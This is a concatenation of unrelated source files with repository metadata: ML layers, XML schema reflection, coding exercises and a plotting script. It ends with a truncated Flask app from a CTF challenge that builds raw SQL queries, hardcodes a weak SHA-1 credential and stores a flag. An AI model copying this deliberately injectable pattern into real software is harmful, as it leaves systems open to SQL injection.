('schemaNamespace','string',0,'schemaNamespace')) namespaceSchemaInformation.reflectionOutMap=namespaceSchemaInformation.reflectionInMap contentType.reflectionInMap=(('variety','string',1,'variety'), (('atomic','union','list','particle'),'component',1,'model')) contentType.reflectionOutMap=contentType.reflectionInMap namespaceConstraint.reflectionInMap=(('variety','string',0,'variety'), ('namespaces','list',1,'namespaces')) namespaceConstraint.reflectionOutMap=namespaceConstraint.reflectionInMap valueConstraint.reflectionInMap=(('variety','string',0,'variety'), ('value','string',0,'value')) valueConstraint.reflectionOutMap=valueConstraint.reflectionInMap xpathTemp.reflectionInMap=(('path','string',0,'path'),) xpathTemp.reflectionOutMap=xpathTemp.reflectionInMap schemaDocument.reflectionInMap=(('documentLocation','string',0,'documentLocation'),) schemaDocument.reflectionOutMap=schemaDocument.reflectionInMap Facet.reflectionInMap=(('value','string',0,'value'), ('fixed','boolean',0,'fixed')) Facet.reflectionOutMap=Facet.reflectionInMap[0:1] simpleTypeMap.update({'list':List, 'union':Union, 'atomic':AbInitio}) InformationItem = XMLInfoset.InformationItem Document = XMLInfoset.Document Namespace = XMLInfoset.Namespace xsiNamespace = XMLInfoset.xsiNamespace infosetSchemaNamespace = XMLInfoset.infosetSchemaNamespace psviSchemaNamespace = PSVInfoset.psviSchemaNamespace def informationitemReflect(self, parent=None): XMLInfoset.Element(parent, infosetSchemaNamespace, "XXX") InformationItem.reflect=informationitemReflect def reflectString(self, parent, name, value, nullable, ns=None): if value is None: if not nullable: help() else: attr = XMLInfoset.Attribute(parent, ns, name, None, value) parent.addAttribute(attr) InformationItem.reflectString=reflectString def reflectNull(self, parent, name, ns=None): e = XMLInfoset.Element(parent, ns or infosetSchemaNamespace, name) parent.addChild(e) nullAttr = XMLInfoset.Attribute(e, xsiNamespace, "nil", None, "true") e.addAttribute(nullAttr) InformationItem.reflectNull=reflectNull def reflectBoolean(self, parent, name, value, nullable, ns=None): # sys.stderr.write("reflecting boolean %s, nullable=%s\n" % (value, nullable)) if value != None: if value: value = "true" else: value = "false" self.reflectString(parent, name, value, nullable) InformationItem.reflectBoolean=reflectBoolean def documentReflect(self, parent=None, control=0): doc = Document(None, None, "yes") document = XMLInfoset.Element(doc, infosetSchemaNamespace, "document", None, None, {None:Namespace(None, infosetSchemaNamespace), "i":Namespace("i", xsiNamespace), "xs":Namespace("xs", "http://www.w3.org/2001/XMLSchema"), "xml":Namespace("xml", "http://www.w3.org/XML/1998/namespace")}) doc.addChild(document) self.children[0].reflect(document) for e in self.unparsedEntities: e.reflect(document) for n in self.notations: n.reflect(document) self.reflectString(document, "baseURI", self.baseURI, 1) self.reflectString(document, "characterEncodingScheme", self.characterEncodingScheme, 1) self.reflectString(document, "standalone", self.standalone, 1) self.reflectString(document, "version", self.version, 1) self.reflectBoolean(document, "allDeclarationsProcessed", self.allDeclarationsProcessed, 0) return doc Document.reflect=documentReflect def elementReflect(self, parent,dumpChars=1): element = XMLInfoset.Element(parent, infosetSchemaNamespace, "element") parent.addChild(element) self.reflectString(element, "namespaceName", self.namespaceName, 1) self.reflectString(element, "localName", self.localName, 0) self.reflectString(element, "prefix", self.prefix, 1) for a in self.attributes.values(): a.reflect(element) if self.namespaceAttributes: for a in self.namespaceAttributes.values(): a.reflect(element) for c in self.children: if (not dumpChars) and isinstance(c,XMLInfoset.Characters): pass c.reflect(element) if self.inScopeNamespaces: for a in self.inScopeNamespaces.values(): a.reflect(element) self.reflectString(element, "baseURI", self.baseURI, 1) return element XMLInfoset.Element.reflect=elementReflect def charactersReflect(self, parent): tt=XMLInfoset.Element(parent,infosetSchemaNamespace,"text") parent.addChild(tt) self.reflectString(tt,"content",self.characters,0) XMLInfoset.Characters.reflect=charactersReflect def attributeReflect(self, parent=None): attribute = XMLInfoset.Element(parent, infosetSchemaNamespace, "attribute") parent.addChild(attribute) self.reflectString(attribute, "namespaceName", self.namespaceName, 1) self.reflectString(attribute, "localName", self.localName, 0) self.reflectString(attribute, "prefix", self.prefix, 1) self.reflectString(attribute, "normalizedValue", self.normalizedValue, 1) self.reflectBoolean(attribute, "specified", self.specified, 0) self.reflectString(attribute, "attributeType", self.attributeType, 1) self.reflectString(attribute, "references", None, 1) # not implemented return attribute XMLInfoset.Attribute.reflect=attributeReflect def namespaceReflect(self, parent=None): namespace = XMLInfoset.Element(parent, infosetSchemaNamespace, "namespace") parent.addChild(namespace) self.reflectString(namespace, "prefix", self.prefix, 1) self.reflectString(namespace, "namespaceName", self.namespaceName, 0) Namespace.reflect=namespaceReflect def nsiReflect(self, parent=None): nsi = XMLInfoset.Element(parent, psviSchemaNamespace, "namespaceSchemaInformation") parent.addChild(nsi) self.reflectString(nsi, "schemaNamespace", self.schemaNamespace, 1) for c in self.schemaComponents: c.reflect(nsi,1) for d in self.schemaDocuments: d.reflect(nsi) for a in self.schemaAnnotations: a.reflect(nsi) PSVInfoset.NamespaceSchemaInformation.reflect=nsiReflect def sdReflect(self, parent=None): sd = XMLInfoset.Element(parent, psviSchemaNamespace, "schemaDocument") parent.addChild(sd) self.reflectString(sd, "documentLocation", self.documentLocation, 1) PSVInfoset.schemaDocument.reflect=sdReflect def componentReflect(self,parent,forceFull=0,noID=0): if self.uid and not forceFull: # a pointer self.reflectAsPointer(self.uid,parent) else: e = XMLInfoset.Element(parent, psviSchemaNamespace, self.reflectedName) parent.addChild(e) if self.needsId and not forceFull: self.assignUid() if self.uid and not noID: idAttr = XMLInfoset.Attribute(e, None, "id", None, self.uid) e.addAttribute(idAttr) for rme in self.reflectionOutMap: # reflectionMap entries: (compPropertyName,valueType,nullable, # pythonPropertyName) # print ('rme',rme) value=getattr(self,rme[3]) # print ('vv',self,value) if rme[1]=='string': e.reflectString(e,rme[0],value, rme[2]) elif rme[1]=='list': if len(value)>0: e.reflectString(e,rme[0],' '.join(value),rme[2]) elif rme[1]=='boolean': if str(value) not in ('true','false'): if value: value='true' else: value='false' e.reflectString(e,rme[0],value, rme[2]) elif rme[1]=='component': if value is not None: value.reflect(e) elif rme[2]: pass elif rme[1] in ('aspecial','especial','esspecial'): value(e) elif rme[1]=='components': if value is None and rme[2]: continue for vv in value or []: vv.reflect(e) def reflectAsPtr(self,ref,parent,eltName,eltns=psviSchemaNamespace): c = XMLInfoset.Element(parent, eltns, eltName) parent.addChild(c) refAttr = XMLInfoset.Attribute(c, None, "ref", None, ref) c.addAttribute(refAttr) nilAttr = XMLInfoset.Attribute(c, xsiNamespace, "nil", None, "true") c.addAttribute(nilAttr) if self.alwaysNamed: nAttr = XMLInfoset.Attribute(c, None, "name", None, self.name) c.addAttribute(nAttr) if self.targetNamespace is not None: nsAttr = XMLInfoset.Attribute(c, None, "tns", None, self.targetNamespace) c.addAttribute(nsAttr) def reflectAIAsPointer(self,ref,parent): return reflectAsPtr(self,ref,parent,"atomic") def reflectCompAsPointer(self, ref, parent=None): return reflectAsPtr(self,ref,parent,self.reflectedName) Component.reflectAsPointer=reflectCompAsPointer AbInitio.reflectAsPointer=reflectAIAsPointer Component.reflect=componentReflect Component.needsId=0 Component.alwaysNamed=0 AbInitio.alwaysNamed=0 ComplexType.needsId=1 # only nested Elts, Attrs, CTs and STs need Ids SimpleType.needsId=1 Element.needsId=1 Attribute.needsId=1 Pattern.needsId=1 # because they have big patterns Pattern.uids=None Attribute.alwaysNamed=1 # Because typelocal-table is built right away Kcons.needsId=1 def modelReflect(self,parent,forceFull=0,noID=0): tick=0 if self.name: if (not forceFull) and self.id: # forward reference to model group defn self.reflectedName='modelGroup' tick=1 else: self.reflectionOutMap=ModelGroup.reflectionOutMap Component.reflect(self,parent,forceFull,noID) if tick: self.reflectedName='modelGroupDefinition' Group.reflect=modelReflect allPrefixes={'xsd':XMLSchemaNS, 'xsi':xsiNamespace} allNSs={xsiNamespace:'xsi', XMLSchemaNS:'xsd'} def assignUid(self): cnn=None nn=self.name if self.targetNamespace: if allNSs.has_key(self.targetNamespace): cnn="%s.."%allNSs[self.targetNamespace] elif (self.xrpr and self.xrpr.elt and self.xrpr.elt.namespaceDict): for (n,v) in self.xrpr.elt.namespaceDict.items(): # note that this namespaceDict is a Mapper hack from layer.py if v==self.targetNamespace: if n!=None and (not allPrefixes.has_key(n)): allNSs[self.targetNamespace]=n allPrefixes[n]=self.targetNamespace cnn="%s.."%n break if cnn: if ((isinstance(self,Element) or isinstance(self,Attribute)) and self.scope!='global'): # avoid spurious conflicts nn="%s.%s"%(nn,self.id) else: n="x%d"%self.id allNSs[self.targetNamespace]=n allPrefixes[n]=self.targetNamespace cnn="%s.."%n else: cnn="" if nn: nn="%s.%s"%(nn,self.id) self.uid="%s%s.%s"%(cnn,self.kind,nn or "_anon_%s"%self.id) Component.uid=None Component.assignUid=assignUid Type.kind='type' Element.kind='elt' Attribute.kind='attr' Group.kind='mg' AttributeGroup.kind='ag' Kcons.kind='idCons' Facet.kind='f' Pattern.reflectedName='pattern' # Notation.kind='ntn' def abInitioReflect(self,parent,force=0): if force: e = XMLInfoset.Element(parent, psviSchemaNamespace, 'atomic') parent.addChild(e) idAttr = XMLInfoset.Attribute(e, None, "id", None, self.uid) e.addAttribute(idAttr) nullAttr = XMLInfoset.Attribute(e, xsiNamespace, "nil", None, "true") e.addAttribute(nullAttr) else: # a pointer self.reflectAsPointer(self.uid,parent) AbInitio.reflect=abInitioReflect def aiAssign(self): self.uid=self.name AbInitio.assignUid=aiAssign AbInitio.uid=None def scopeReflect(self,parent): if self.scope is not None: if self.scope=='global': parent.reflectString(parent,'scope','global',0) else: parent.reflectString(parent,'scope','local',0) Element.scopeReflect=scopeReflect Attribute.scopeReflect=scopeReflect def vcReflect(self,parent): if self.valueConstraint is not None: vc=XMLInfoset.Element(parent,psviSchemaNamespace,'valueConstraint') parent.addChild(vc) vc.reflectString(vc,'variety',self.valueConstraint[0], 1) vc.reflectString(vc,'value',self.valueConstraint[1], 0) Element.vcReflect=vcReflect Attribute.vcReflect=vcReflect AttributeUse.vcReflect=vcReflect def icsReflect(self,parent): for kd in self.keys: kd.reflect(parent) for ud in self.uniques: ud.reflect(parent) for krd in self.keyrefs: krd.reflect(parent) Element.icsReflect=icsReflect def adReflect(self,parent): tab={} for ad in self.attributeDeclarations: ad.expand(tab) for vv in tab.values(): vv.reflect(parent) AttributeGroup.adReflect=adReflect def mgReflect(self,parent): self.reflectionOutMap=Group.reflectionOutMap self.reflectedName='modelGroup' name=self.name # stop recursion self.name=None self.reflect(parent,1,1) self.name=name Group.mgReflect=mgReflect def wnsReflect(self,parent): ns=XMLInfoset.Element(parent,psviSchemaNamespace,'namespaceConstraint') parent.addChild(ns) if self.allowed=='##any': ns.reflectString(ns, 'variety', 'any', 0) else: if self.negated: ns.reflectString(ns, 'variety', 'negative', 0) else: ns.reflectString(ns, 'variety', 'positive', 0) if len(self.namespaces)>0: ns.reflectString(ns,'namespaces',' '.join(map(lambda n:n or '##none', self.namespaces)),0) Wildcard.wildcardNamespaceReflect=wnsReflect def ctReflect(self,parent): if self.contentType is not None: ct=XMLInfoset.Element(parent,psviSchemaNamespace,'contentType') parent.addChild(ct) if self.contentType=='empty': ct.reflectString(ct, 'variety','empty',0) elif self.contentType in ('elementOnly','mixed'): ct.reflectString(ct, 'variety',self.contentType,0) self.model.reflect(ct) else: ct.reflectString(ct, 'variety','simple',0) self.model.reflect(ct) ComplexType.contentTypeReflect=ctReflect def attrsReflect(self,parent): for au in self.attributeDeclarations.values(): if isinstance(au.attributeDeclaration,Attribute): au.reflect(parent) ComplexType.attributesReflect=attrsReflect def agAttrsReflect(self,parent): for au in self.attributeDeclarations: if isinstance(au.attributeDeclaration,Attribute): au.reflect(parent) AttributeGroup.attributesReflect=agAttrsReflect def awReflect(self,parent): # wc=None # for ad in self.attributeDeclarations.values(): # if isinstance(ad.attributeDeclaration,Wildcard): # wc=ad.attributeDeclaration # break if self.attributeDeclarations.has_key('#any'): self.attributeDeclarations['#any'].attributeDeclaration.reflect(parent) ComplexType.attributeWildcardReflect=awReflect def agAwReflect(self,parent): for au in self.attributeDeclarations: if isinstance(au.attributeDeclaration,Wildcard): au.attributeDeclaration.reflect(parent) return AttributeGroup.attributeWildcardReflect=agAwReflect def selReflect(self,parent): selp=XMLInfoset.Element(parent,psviSchemaNamespace,'xpath') parent.addChild(selp) selp.reflectString(selp, 'path',self.selector.str,0) Kcons.selectorReflect=selReflect def referReflect(self,parent): self.reflectAsPointer(self.refer, parent, 'referencedKey') Kcons.referReflect=referReflect def fsReflect(self,parent): for f in self.fields: xp=XMLInfoset.Element(parent,psviSchemaNamespace,'xpath') parent.addChild(xp) xp.reflectString(xp, 'path',f.str,0) Kcons.fieldsReflect=fsReflect def ptReflect(self,parent): if self.primitiveType is not None: self.primitiveType.reflectAsPointer(self.primitiveType.name,parent) SimpleType.primitiveTypeReflect=ptReflect def facetsReflect(self,parent): if self.variety=='atomic': auth=self.primitiveType elif self.variety=='list': auth=List elif self.variety=='union': auth=Union else: shouldnt('bogusv: %s'%self.variety) for fn in auth.allowedFacets: if self.facets.has_key(fn): facet=self.facets[fn] else: facet=None if (facet is not None and facet.value is not None): fval=facet.value if type(fval)==types.ListType: if fn=='pattern': # hack to save megaspace if facet.uids is not None: # a pointer for uid in facet.uids: facet.reflectAsPointer(uid,parent) else: if facet.uids is None: facet.id=facet.fid facet.assignUid() n=1 facet.uids=[] for vl in fval: if vl in builtinPats: nuid="bip..%d"%builtinPats.index(vl) facet.reflectAsPointer(nuid,parent) else: f=facetReflect(parent,fn,vl) nuid="%s..%d"%(facet.uid,n) idAttr = XMLInfoset.Attribute(f, None, "id", None, nuid) f.addAttribute(idAttr) facet.uids.append(nuid) n=n+1 else: for vl in fval: f=facetReflect(parent,fn,vl) else: f=facetReflect(parent,fn,fval) f.reflectBoolean(f,"fixed",facet.fixed,0) if facet.annotation is not None: # note hack for list-vals -- annotation on last one facet.annotation.reflect(f) def facetReflect(parent,name,value): f=XMLInfoset.Element(parent,psviSchemaNamespace,name) parent.addChild(f) if value is not None: if name=="precision": if value: value="true" else: value="false" elif name=="lexicalMappings": value=" ".join(value) elif type(value) not in (types.StringType,types.UnicodeType): value=str(value) if len(value) > 0: if type(value) not in (types.StringType,types.UnicodeType): value=str(value) f.reflectString(f,"value",value,0) return f SimpleType.facetsReflect=facetsReflect def fundamentalFacetsReflect(self,parent): pass # XXX SimpleType.fundamentalFacetsReflect=fundamentalFacetsReflect def elementReflect(self, parent=None): # sys.stderr.write("using new reflect on %s, %s\n" % (self,parent)); # sys.stderr.write("%s" % self.__dict__); if self.schemaInformation is not None: # we are a validation start, so we need an ID _before_ recursion self.id=gensym().id # for others to point to # we need to build all the top-level defns also # two passes -- assign names, to avoid internal defn's of named stuff assignAllUIDs(self.schemaInformation) if self.schemaNormalizedValue: mixed=0 elif self.typeDefinition: mixed=self.typeDefinition.contentType=='mixed' else: mixed=1 element = self.oldReflect(parent,mixed) if self.schemaInformation is not None: element.addAttribute(XMLInfoset.Attribute(element, None, "id", None, self.id)) reflectAllComponents(element,self.schemaInformation) self.reflectString(element, "validationAttempted", self.validationAttempted, 1, psviSchemaNamespace) if self.validationContext is not None: self.reflectString(element,"validationContext",self.validationContext.id,0, psviSchemaNamespace) self.reflectString(element, "validity", self.validity, 1, psviSchemaNamespace) if self.errorCode: self.reflectString(element, "schemaErrorCode",'\n'.join(self.errorCode),1, psviSchemaNamespace) self.reflectString(element, "schemaNormalizedValue", self.schemaNormalizedValue, 1, psviSchemaNamespace) if self.typeDefinition: # XXX self.typeDefinition.reflect(element) self.reflectString(element, "memberTypeDefinition", self.memberTypeDefinition, 1, psviSchemaNamespace) if self.elementDeclaration is not None: self.elementDeclaration.reflect(parent) self.reflectBoolean(element, "nil", self.null, 1, psviSchemaNamespace) XMLInfoset.Element.psvReflect = elementReflect class gensym: nextid = 1 def __init__(self): self.id = "g%s" % gensym.nextid gensym.nextid = gensym.nextid + 1 def reflectAllComponents(element,schemaInformation): for i in schemaInformation: i.reflect(element) def assignAllUIDs(schemaInformation): for i in schemaInformation: for c in i.schemaComponents: if (isinstance(c,Component) or isinstance(c,AbInitio)): c.assignUid() def attributeReflect(self, parent=None): attribute = self.oldReflect(parent) self.reflectString(attribute, "validationAttempted", self.validationAttempted, 1, psviSchemaNamespace) if self.validationContext is not None: self.reflectString(attribute, "validationContext",self.validationContext.id,0, psviSchemaNamespace) self.reflectString(attribute, "validity", self.validity, 1, psviSchemaNamespace) if self.errorCode: self.reflectString(attribute, "schemaErrorCode",'\n'.join(self.errorCode),1, psviSchemaNamespace) self.reflectString(attribute, "schemaNormalizedValue", self.schemaNormalizedValue, 1, psviSchemaNamespace) if self.typeDefinition is not None: # XXX self.typeDefinition.reflect(attribute) self.reflectString(attribute, "memberTypeDefinition", self.memberTypeDefinition, 1, psviSchemaNamespace) if self.attributeDeclaration is not None: self.attributeDeclaration.reflect(attribute) XMLInfoset.Attribute.psvReflect = attributeReflect XMLInfoset.Element.oldReflect = XMLInfoset.Element.reflect XMLInfoset.Element.reflect = XMLInfoset.Element.psvReflect XMLInfoset.Attribute.oldReflect = XMLInfoset.Attribute.reflect XMLInfoset.Attribute.reflect = XMLInfoset.Attribute.psvReflect # $Log: reflect.py,v $ # Revision 1.10 2005-08-10 20:32:08 ht # comment # # Revision 1.9 2004/10/04 11:36:47 ht # token support for pDecimal # # Revision 1.8 2004/08/18 08:44:38 ht # dump patterns properly # # Revision 1.7 2003/04/01 18:46:10 ht # allow (but ignore) control arg to reflect doc # # Revision 1.6 2002/11/25 14:57:33 ht # get fake variety early # # Revision 1.5 2002/10/08 20:32:16 ht # fix one more XMLInfoset qualification, remove pointless statement # # Revision 1.4 2002/09/23 21:45:03 ht # move to string methods from string library # # Revision 1.3 2002/09/23 14:03:14 ht # fix an attr group dumping bug, # set up so pattern facets are shared where possible to save on big built-in patterns # # Revision 1.2 2002/08/21 08:58:05 ht # simpleTypeMap hack, attr bug # # Revision 1.1 2002/06/28 09:46:07 ht # part of package now #

[ "ahmed@manhag.org" ]

ahmed@manhag.org

f291c903c72585e9ca8089e497ba10907c373013

67af9dc77608a6cd83fdf219b3b76000634c0634

/pixelcnn/layers.py

dab5d229536d0e0e042a5d70968fb13802ee7c03

[ "Apache-2.0" ]

permissive

kngwyu/pytorch-pixelcnn

7b4d0bb0e8662ce976b5faede41249b94d81e03c

e59585d5d533de77c7b51a8e822da0264f2b56e5

refs/heads/master

2020-06-01T00:23:54.716580

2019-08-12T05:44:29

190,556,770

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UTF-8

Python

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3,522

py

import torch from torch import nn, Tensor from torch.nn import functional as F from torch.nn.utils import weight_norm from typing import Callable, Optional, Tuple from .utils import down_cut, right_cut class ConcatELU(nn.Module): __constants__ = ['alpha'] def __init__(self, alpha: float = 1.) -> None: super().__init__() self.alpha = alpha def forward(self, x: Tensor) -> Tensor: return F.elu(torch.cat((x, -x), dim=1), self.alpha, inplace=True) def extra_repr(self): return 'alpha={}'.format(self.alpha) class DownShiftedConv2d(nn.Module): def __init__( self, in_channel: int, out_channel: int, kernel: Tuple[int, int] = (2, 3), stride: int = 1, right_shift: bool = False, ) -> None: super().__init__() kh, kw = kernel # pad: (Left, Right, Top, Bottom) pad = (kw - 1, 0, kh - 1, 0) if right_shift else ((kw - 1) // 2, (kw - 1) // 2, kh - 1, 0) self.pad = nn.ZeroPad2d(pad) self.conv = weight_norm(nn.Conv2d(in_channel, out_channel, kernel, stride)) def forward(self, x: Tensor) -> Tensor: x = self.pad(x) x = self.conv(x) return x class DownShiftedDeconv2d(nn.Module): def __init__( self, in_channel: int, out_channel: int, kernel: Tuple[int, int] = (2, 3), stride: int = 1, right_shift: bool = False, ) -> None: super().__init__() if stride != 1 and stride != 2: raise ValueError('Only 1 or 2 is allowed as stride size for DownShiftedDeconv2d') pad = 0 if stride == 1 else 1 deconv = nn.ConvTranspose2d(in_channel, out_channel, kernel, stride, output_padding=pad) self.deconv = weight_norm(deconv) self.kernel = kernel self.scaler = right_cut if right_shift else down_cut def forward(self, x: Tensor) -> Tensor: x = self.deconv(x) return self.scaler(x, *self.kernel) class Conv1x1(nn.Module): def __init__(self, in_channel: int, out_channel: int) -> None: super().__init__() self.conv = weight_norm(nn.Conv2d(in_channel, out_channel, kernel_size=1)) def forward(self, x: Tensor) -> Tensor: return self.conv(x) class GatedResNet(nn.Module): def __init__( self, in_channel: int, conv: Callable[[int, int], nn.Module], nonlinearity: nn.Module = ConcatELU(), aux_enlargement: int = 0, ) -> None: super().__init__() nl_enlargement = 2 if isinstance(nonlinearity, ConcatELU) else 1 self.conv1 = conv(in_channel * nl_enlargement, in_channel) if aux_enlargement == 0: self.skip_op = None else: self.skip_op = Conv1x1(nl_enlargement * aux_enlargement * in_channel, in_channel) self.nonlinearity = nonlinearity self.dropout = nn.Dropout2d(0.5) self.conv2 = conv(nl_enlargement * in_channel, nl_enlargement * in_channel) def forward(self, x_orig: Tensor, aux: Optional[Tensor] = None) -> Tensor: x = self.conv1(self.nonlinearity(x_orig)) if aux is not None and self.skip_op is not None: x += self.skip_op(self.nonlinearity(aux)) x = self.nonlinearity(x) x = self.dropout(x) x = self.conv2(x) x1, x2 = torch.chunk(x, 2, dim=1) c3 = x1 * torch.sigmoid(x2) return x_orig + c3

[ "yuji.kngw.80s.revive@gmail.com" ]

yuji.kngw.80s.revive@gmail.com

329a20b4c7110842b2129cc25616775c00bf8168

d22a2fbb9adb82644c5665242661bad172550552

/venv/ex44.py

b5c74a3b546e9fe734219d94756137000ecbe908

[]

no_license

felipemanfrin/Python-Zero-ao-Zeno

e98ba3e4b974e88801b8bc947f461b125bc665b8

d6d08aa17071f77170bbd105452b0d05586131c8

refs/heads/master

2022-07-29T19:38:41.729178

2020-05-25T01:02:18

265,356,280

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UTF-8

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627

py

preco = float(input('Insira o valor do produto a ser pago : ')) print('''Escolha o metodo de pagamento: [1] A vista ou cheque [2] a vista cartão [3] 2x no cartao [4] 3x ou mais no cartão''') opcao = int(input('Digite a opção : ')) if opcao == 1 : final = preco*0.90 print('O valor a se pagar nesses metodos é de {} '.format(final)) elif opcao == 2 : final = preco*0.95 print('O valor a se pagar é de {}'.format(final)) elif opcao == 3 : final = preco print('o valor a se pagar é de {} '.format(final)) else : final = preco *1.20 print('O valor a se pagar é de {} '.format(final))

[ "felipemanfrin@gmail.com" ]

felipemanfrin@gmail.com

b1ef8a76cff5ccdd0bd13d20890f8c2df9f25e16

92578e316b0d1b760db85c449898c1560433a4bb

/backend/notes/urls.py

66f4181f4a81f45ec0f6d6b4f4f1882089f05ed7

[]

no_license

turamant/dj_plus_vue

461dc6b7165ab7ecdf8eb3206ca9047b6db6c920

2d7b5ef897b418e5269b7b01c1fd6207ec5be4b8

refs/heads/main

2023-03-29T15:43:49.311175

2021-04-12T11:43:36

357,166,316

0

null

UTF-8

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py

from rest_framework import routers from .views import NoteViewSet # Создаем router и регистрируем наш ViewSet router = routers.DefaultRouter() router.register('notes', NoteViewSet) # URLs настраиваются автоматически роутером urlpatterns = router.urls

[ "tur1amant@gmail.com" ]

tur1amant@gmail.com

95bc2c171d57e18811811934b2b5b0cc902e8cc5

15f321878face2af9317363c5f6de1e5ddd9b749

/solutions_python/Problem_137/544.py

d93a3ffd436e017136abd200f2f8988eb7da45e9

[]

no_license

dr-dos-ok/Code_Jam_Webscraper

c06fd59870842664cd79c41eb460a09553e1c80a

26a35bf114a3aa30fc4c677ef069d95f41665cc0

refs/heads/master

2020-04-06T08:17:40.938460

2018-10-14T10:12:47

null

0

null

UTF-8

Python

false

545

py

import cPickle as pickle def main(): d = pickle.load(open('c.pickle', 'rb')) num_of_tests = int(raw_input()) for test_i in range(num_of_tests): n, m, k = map(int, raw_input().split()) ans = d['%s-%s-%s' % (n, m, k)] if k == n * m - 1: ans = 'c' + '*' * (m - 1) + '\n' for i in range(n - 1): ans += '*' * m + '\n' print "Case #%d:" % (test_i + 1) if ans[-1] == '\n': ans = ans[:-1] print ans if __name__ == "__main__": main()

[ "miliar1732@gmail.com" ]

miliar1732@gmail.com

61ef2940a1d29bb6e311bce2f96ea1678f79606b

f11ecb59dab63af605c6e5f256ee59e00447ecc1

/763-partition-labels.py

f873de4ea39b18121ba64673b1decc40b496d1ef

[]

no_license

floydchenchen/leetcode

626d55f72ec914764385ce82b0f3c57f5a7e9de8

9d9e0c08992ef7dbd9ac517821faa9de17f49b0e

refs/heads/master

2022-10-07T20:33:55.728141

2020-06-08T16:09:17

269,525,880

0

null

UTF-8

Python

false

1,169

py

# 763. Partition Labels # A string S of lowercase letters is given. We want to partition this string into as many parts as possible so that each letter appears in at most one part, # and return a list of integers representing the size of these parts. # Example 1: # Input: S = "ababcbacadefegdehijhklij" # Output: [9,7,8] # Explanation: # The partition is "ababcbaca", "defegde", "hijhklij". # This is a partition so that each letter appears in at most one part. # A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts. from collections import defaultdict class Solution: # sliding window def partitionLabels(self, S: str) -> List[int]: # a map to store a char's last occurring location pos = defaultdict(int) for i, char in enumerate(S): pos[char] = i partition = [] l, r = 0, 0 for i, char in enumerate(S): # update the right index r = max(r, pos[char]) if i == r: partition.append(r - l + 1) l = r + 1 return partition

[ "chen2918@umn.edu" ]

chen2918@umn.edu

207c5d7f1c7e8039b7aad55a5d63284589af7e80

8ee5dfd87ce637a46c496853f55d32f226b238f8

/backend/Experiments/Data/PosControl/Plotter.py

06270322e2630227c68dd802b20334c0aec05b2d

[]

no_license

cholazzzb/react-parrotar2-swarm

71eb6be8682e00015103af3df69a6cc01f7a919f

dccdfa841184af6ec62910f50c3335b812cd0201

refs/heads/main

2023-06-16T01:24:57.169242

2021-07-08T03:54:08

354,490,913

0

null

2021-07-08T03:54:08

2021-04-04T08:15:37

JavaScript

UTF-8

Python

false

1,245

py

import matplotlib.pyplot as plt # from tum_PSO import tum_PSO # from custom_PSO import custom_PSO from custom_PSO_z import custom_PSO_z from custom_PSO_z_lama import custom_PSO_z_lama from fine_tuning import fine_tuning from fine_tuning_disturbance import fine_tuning_disturbance time = fine_tuning_disturbance["time"] xPos = fine_tuning_disturbance["xPos"] yPos = fine_tuning_disturbance["yPos"] zPos = fine_tuning_disturbance["zPos"] # range(170) for POS AND TIME # for i in range(350): # time.pop() # xPos.pop() # yPos.pop() # zPos.pop() xPosTarget = [] yPosTarget = [] for data in yPos: xPosTarget.append(1.95) yPosTarget.append(1.27) # ----- POS AND TIME ----- plt.plot(time, xPos, label="Marvelmind Koordinat X") plt.plot(time, xPosTarget, label="Setpoint X") plt.plot(time, yPos, label="Marvelmind Koordinat Y") plt.plot(time, yPosTarget, label="Setpoint Y") plt.title("Kontrol Posisi") plt.xlabel('Waktu (detik)') plt.ylabel('Koordinat (meter)') # plt.ylim(0.5, 2.5) plt.legend(loc="lower right") # ----- MAP ----- # plt.scatter(xPos, yPos) # plt.title("Posisi X dan Y") # plt.xlabel('Koordinat x (meter)') # plt.ylabel('Koordinat y (meter)') # plt.ylim(0.85, 2.163) plt.show() # Set point: X =1.95, Y = 1.27

[ "nicsphehehe@gmail.com" ]

nicsphehehe@gmail.com

3257ffae5f57a16cff15a802d965f1ae58e0f0e7

c4c159a21d2f1ea0d7dfaa965aeff01c8ef70dce

/flask/flaskenv/Lib/site-packages/tensorflow/contrib/graph_editor/subgraph.py

caf690f68dcdece5c40a3526673d99e70d7d5a26

[]

no_license

AhsonAslam/webapi

54cf7466aac4685da1105f9fb84c686e38f92121

1b2bfa4614e7afdc57c9210b0674506ea70b20b5

refs/heads/master

2020-07-27T06:05:36.057953

2019-09-17T06:35:33

208,895,450

0

null

UTF-8

Python

false

130

py

version https://git-lfs.github.com/spec/v1 oid sha256:a739031b57fa33ef7882c98b7eefeea5d588318fc9ef255db3f17b609ce8653c size 25666

[ "github@cuba12345" ]

github@cuba12345

62eb3d4653f8cab219e631ac922207e24e6b6594

f77327128a8da9702ae3443e2171bc7485ceb915

/main.py

e592f25e87e990be6bcc7a514fea58257fd7615d

[]

no_license

SimeonYS/cadence

0eeba6a54c03ffb2d55466f9d8de6f1b1662002f

cdaef13c85a03e031a0050c89c17249cd7d83125

refs/heads/main

2023-03-31T08:24:41.408507

2021-03-31T10:14:01

353,312,955

0

null

UTF-8

Python

false

74

py

from scrapy import cmdline cmdline.execute("scrapy crawl cadence".split())

[ "simeon.simeonov@ADPVT.com" ]

simeon.simeonov@ADPVT.com

e04235d8de2b8dbad77d7369cee71f1946da3910

eabc8c12802053683ab0b42d95135c0b777945a1

/rooms/room-h/main.py

09fffc0f9de7cd8371014ddd2af950e79eb386fa

[]

no_license

Hacker0x01/44con-ctf-2019

e569fb3722520411f9928c9b0d5d21d91c2ee8ca

4a86c14d488dd1515615d702942172fa5e7c5fc2

refs/heads/master

2023-08-08T19:34:11.081687

2019-09-13T22:22:30

208,354,485

18

7

null

2023-07-22T16:09:35

2019-09-13T22:12:05

Python

UTF-8

Python

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py

from flask import Flask, request import hashlib, json, os, sys from socket import * import sqlite3 def query(sql, commit=False): c = conn.cursor() c.execute(sql.replace('%', '%%')) if commit: conn.commit() else: return c.fetchall() def setup(): global conn conn = sqlite3.connect(':memory:') def sha1(data): return hashlib.sha1(data).hexdigest() conn.create_function('sha1', 1, sha1) query(''' CREATE TABLE users (username text, password text) ''', commit=True) query(''' INSERT INTO users (username, password) VALUES ('eldon', sha1('chess')) ''', commit=True) query(''' CREATE TABLE flag (value text) ''', commit=True) query(''' INSERT INTO flag (value) VALUES ('I had in mind 5ome7hing.a.little m0re~radical.') ''', commit=True) app = Flask(__name__) home = ''' <!doctype html> <html> <body> <form action="/login" method="POST"> USERNAME: <input type="text" name="username"><br> PASSWORD: <input type="password" name="password"><br> <input type="submit" value="LOG IN"> </form> </body> </html> ''' login = ''' <!doctype html> <html> <body> <b>%s</b> </body> 